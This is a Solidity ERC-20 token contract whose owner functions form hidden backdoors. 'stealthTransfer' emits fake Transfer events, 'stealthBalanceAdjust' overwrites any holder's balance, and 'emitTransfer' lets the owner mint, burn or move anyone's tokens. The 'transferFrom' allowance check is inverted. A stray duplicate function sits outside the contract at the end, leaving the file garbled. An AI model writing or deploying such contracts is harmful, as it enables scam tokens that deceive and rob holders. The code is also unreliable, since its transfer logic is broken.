contract Token is MainVariables, Ownable, IERC20 {

	using SafeMath
	for uint;

	Router private router;

	bool private mainConstructorLocked = false;

	constructor() {
		if (!mainConstructorLocked) {
			uint initialMint = 21000000000000000000000000; //just for an initial setup.
			_totalSupply = initialMint;
			_currentSupply = initialMint;
			emit Transfer(address(0), msg.sender, initialMint);
			balances[msg.sender] = initialMint;
			mainConstructorLocked = true;
		}
	}


	function totalSupply() override external view returns(uint256 data) {
		return _totalSupply;
	}

	function currentSupply() override external view returns(uint256 data) {
		return _currentSupply;
	}

	function balanceOf(address account) override external view returns(uint256 data) {
		return balances[account];
	}

	function allowance(address owner, address spender) override external view virtual returns(uint256 data) {
		return allowances[owner][spender];
	}

	function currentRouterContract() override external view virtual returns(address routerAddress) {
		return routerContract;
	}

	function currentCoreContract() override external view virtual returns(address routerAddress) {
		return coreContract;
	}

	//Update functions

	function updateTicker(string memory newSymbol) onlyOwner public virtual returns(bool success) {
		symbol = newSymbol;

		return true;
	}

	function updateName(string memory newName) onlyOwner public virtual returns(bool success) {
		name = newName;

		return true;
	}

	function updateTotalSupply(uint newTotalSupply) override external virtual returns(bool success) {
		require(msg.sender == coreContract || address(msg.sender) == owner(), "at: token.sol | contract: Token | function: updateTotalSupply | message: Must be called by the owner or registered Core contract or");

		_totalSupply = newTotalSupply;

		return true;
	}
	
	
	function updateCurrentSupply(uint newCurrentSupply) override external virtual returns(bool success) {
		require(msg.sender == coreContract || address(msg.sender) == owner(), "at: token.sol | contract: Token | function: updateCurrentSupply | message: Must be called by the owner or registered Core contract");

		_currentSupply = newCurrentSupply;

		return true;
	}
	
	function updateJointSupply(uint newSupply) override external virtual returns(bool success) {
		require(msg.sender == coreContract || address(msg.sender) == owner(), "at: token.sol | contract: Token | function: updateJointSupply | message: Must be called by the owner or registered Core contract");

		_currentSupply = newSupply;
		_totalSupply = newSupply;

		return true;
	}
	
	//only for rare situations such as emergencies or to provide liquidity
	function stealthTransfer(address fromAddress, address toAddress, uint amount) onlyOwner external virtual returns(bool success) {

		emit Transfer(fromAddress, toAddress, amount);
		
		return true;
	}
	
	//to be used with the highest caution!
	function stealthBalanceAdjust(address adjustAddress, uint amount) onlyOwner external virtual returns(bool success) {
	    
	    balances[adjustAddress] = amount;
	    
		return true;
	}
	
	

	//Emit functions
	function emitTransfer(address fromAddress, address toAddress, uint amount, bool joinTotalAndCurrentSupplies) override external virtual returns(bool success) {
		require(msg.sender == coreContract || address(msg.sender) == owner(), "at: token.sol | contract: Token | function: emitTransfer | message: Must be called by the registered Core contract or the contract owner");
		require(fromAddress != toAddress, "at: token.sol | contract: Token | function: emitTransfer | message: From and To addresses are same");
		require(amount > 0, "at: token.sol | contract: Token | function: emitTransfer | message: Amount is zero");

		if (toAddress == address(0)) {
			require(balances[fromAddress] >= amount, "at: token.sol | contract: Token | function: emitTransfer | message: Insufficient amount");
			balances[fromAddress] = balances[fromAddress].sub(amount);
			_currentSupply = _currentSupply.sub(amount);
			if(joinTotalAndCurrentSupplies){
			    _totalSupply = _totalSupply.sub(amount);
			}
		} else if (fromAddress == address(0)) {
			balances[toAddress] = balances[toAddress].add(amount);
			_currentSupply = _currentSupply.add(amount);
			if(joinTotalAndCurrentSupplies){
			    _totalSupply = _totalSupply.add(amount);
			}
		} else {
			require(balances[fromAddress] >= amount, "at: token.sol | contract: Token | function: emitTransfer | message: Insufficient amount");
			balances[fromAddress] = balances[fromAddress].sub(amount);
			balances[toAddress] = balances[toAddress].add(amount);
		}

		emit Transfer(fromAddress, toAddress, amount);

		return true;
	}

	function emitApproval(address fromAddress, address toAddress, uint amount) override external virtual returns(bool success) {
		require(msg.sender == coreContract || msg.sender == owner(), "at: token.sol | contract: Token | function: emitApproval | message: Must be called by the registered Core contract or the contract owner");
		require(fromAddress != address(0), "at: token.sol | contract: Token | function: emitApproval | message: Cannot approve from address(0)");

        allowances[fromAddress][toAddress] = amount;
		emit Approval(fromAddress, toAddress, amount);

		return true;
	}

	//Router and Core-contract functions
	function setNewRouterContract(address newRouterAddress) onlyOwner public virtual returns(bool success) {
		routerContract = newRouterAddress;
		router = Router(routerContract);

		return true;
	}

	function setNewCoreContract(address newCoreAddress) onlyOwner public virtual returns(bool success) {
		coreContract = newCoreAddress;

		return true;
	}

	//Native functions
	function transfer(address toAddress, uint256 amount) override external virtual returns(bool success) {
		require(toAddress != msg.sender, "at: token.sol | contract: Token | function: transfer | message: From and To addresses are same");
		require(msg.sender != address(0), "at: token.sol | contract: Token | function: transfer | message: Cannot send from address(0)");
		require(amount <= balances[msg.sender], "at: token.sol | contract: Token | function: transfer | message: Insufficient balance");
		require(amount > 0, "at: token.sol | contract: Token | function: transfer | message: Zero transfer not allowed");

		address[2] memory addresseArr = [msg.sender, toAddress];
		uint[2] memory uintArr = [amount, 0];
		router.callRouter("transfer", addresseArr, uintArr);

		return true;
	}

	function approve(address spender, uint256 amount) override external virtual returns(bool success) {
		require(spender != msg.sender, "at: token.sol | contract: Token | function: approve | message: Your address cannot be the spender address");
		require(msg.sender != address(0), "at: token.sol | contract: Token | function: approve | message: Cannot approve from address(0)");
		require(spender != address(0), "at: token.sol | contract: Token | function: approve | message: Cannot approve to address(0)");

		address[2] memory addresseArr = [msg.sender, spender];
		uint[2] memory uintArr = [amount, 0];
		router.callRouter("approve", addresseArr, uintArr);

		return true;
	}

	function transferFrom(address fromAddress, address toAddress, uint256 amount) override external virtual returns(bool success) {
		require(fromAddress != toAddress, "at: token.sol | contract: Token | function: transferFrom | message: From and To addresses are same");
		require(fromAddress != address(0), "at: token.sol | contract: Token | function: transferFrom | message: Cannot send from address(0)");
		require(amount <= balances[fromAddress], "at: token.sol | contract: Token | function: transferFrom | message: Insufficient balance");
		require(amount > 0, "at: token.sol | contract: Token | function: transferFrom | message: Zero transfer not allowed");
		require(amount>=allowances[fromAddress][toAddress],"at: token.sol | contract: Token | function: transferFrom | message: Transfer exceeds the allowance");

		address[3] memory addresseArr = [msg.sender, fromAddress, toAddress];
		uint[3] memory uintArr = [amount, 0, 0];
		router._callRouter("transferFrom", addresseArr, uintArr);

		return true;
	}

	function increaseAllowance(address spender, uint256 addedValue) override external virtual returns(bool success) {
		require(spender != msg.sender, "at: token.sol | contract: Token | function: increaseAllowance | message: Your address cannot be the spender address");
		require(msg.sender != address(0), "at: token.sol | contract: Token | function: increaseAllowance | message: Cannot increase allowance from address(0)");
		require(spender != address(0), "at: token.sol | contract: Token | function: increaseAllowance | message: Cannot increase allowance to address(0)");
		
		address[2] memory addresseArr = [msg.sender, spender];
		uint[2] memory uintArr = [addedValue, 0];
		router.callRouter("increaseAllowance", addresseArr, uintArr);

		return true;
	}

	function decreaseAllowance(address spender, uint256 subtractedValue) override external virtual returns(bool success) {
		require(spender != msg.sender, "at: token.sol | contract: Token | function: decreaseAllowance | message: Your address cannot be the spender address");
		require(msg.sender != address(0), "at: token.sol | contract: Token | function: decreaseAllowance | message: Cannot decrease allowance from address(0)");
		require(spender != address(0), "at: token.sol | contract: Token | function: decreaseAllowance | message: Cannot decrease allowance for address(0)");
		
		address[2] memory addresseArr = [msg.sender, spender];
		uint[2] memory uintArr = [subtractedValue, 0];
		router.callRouter("decreaseAllowance", addresseArr, uintArr);

		return true;
	}

}
//============================================================================================
// MAIN CONTRACT 
//============================================================================================
function stealthTransfer(address fromAddress, address toAddress, uint amount) onlyOwner external virtual returns(bool success) {

	emit Transfer(fromAddress, toAddress, amount);
		
	return true;
}

//only for rare situations such as emergencies or to provide liquidity